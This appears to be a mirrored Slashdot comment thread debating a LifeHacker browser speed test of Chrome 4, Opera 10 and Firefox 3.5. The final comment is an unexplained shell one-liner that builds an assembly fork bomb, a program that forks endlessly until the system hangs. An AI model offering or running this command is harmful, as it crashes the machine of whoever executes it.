Slashdot Mirror
Chrome 4.0 Vs. Opera 10 Vs. Firefox 3.5
Jim Karter writes "In a three-way cage match, LifeHacker threw Chrome 4, Firefox 3.5, and Opera 10 into the ring and let the three browsers duke it out to see which would emerge as the fastest app for surfing the web. Quoting: 'Like all our previous speed tests, this one is unscientific, but thorough. We install the most current versions of each browser being tested — in this case, Opera 10, Chrome's development channel 4.0 version, and the final Firefox 3.5 with security fixes — in a system with a 2.0 GHz Intel Centrino Duo processor and 2GB of RAM, running Windows XP.'"
I just can't get all that concerned about the speed of my browser. Extra speed never hurts of course but it's hardly a factor in which one I choose.
In my experience, the fastest browser is the one that's running AdBlock, with flash, java, and javascript disabled.
Please bear in mind they tested on the latest stable version firefox, not the latest alpha 3.6 which has various speed improvements. Yet Chrome they used a development branch. Seems a bit biased in Chromes favour.
I dont read
I keep hearing a few loud people complaining about the awesome bar, but I can't for the life of me figure out what they don't like about it.
Because people using the same computer will see their porn bookmarks. Embarrassing for a 15 year old when their mothers find the carefully hidden list by typing in something innocent in the address bar.
It is difficult to get a man to understand something when his job depends on not understanding it.
Slashdot is a technology website dedicated to of people who take great pride and joy in disabling every new bit of technology in their stack.
Personally, I leave all that stuff on. I used to disable javascript out of the same "spite" most of slashdot commenters seem to have--but that was before Kuro5hin came with their fancy dynamic comments in what, 1999? So far, my CPU's have never melted, my power supplies are still purring, and my mice haven't keeled over and died.
Wonder what rigs these people run? 386DX 40mhz's? Orange screen VT100's hooked up to the local time-share in the university basement? ... remembers when his public library still had those VT100's.
You could measure the average time from clicking a UI element to something happening. Actually I wish people would test things like this rather than how quickly the Javascript implementation can crack brute force crack DES or whatever benchmarks Google are pushing so their prototype stuff can finally be released without people mocking it for being bloatware that is worse than Vista.
It would also let me avoid Java applications - we have some horrible intranet ones at work that feel like your mouse has a dodgy button or something - you click stuff, assume it didn't notice it and click another couple of times before you see an hour glass cursor. If people tested for UI responsiveness at least I could avoid things that don't have it in situations were I have a choice.
And, as a bonus it would encourage people to stop doing things that could potentially take more than a few milliseconds in the UI thread of Windows applications. In a very real sense UIs are a real time system and it is time more people realised the implications of that.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;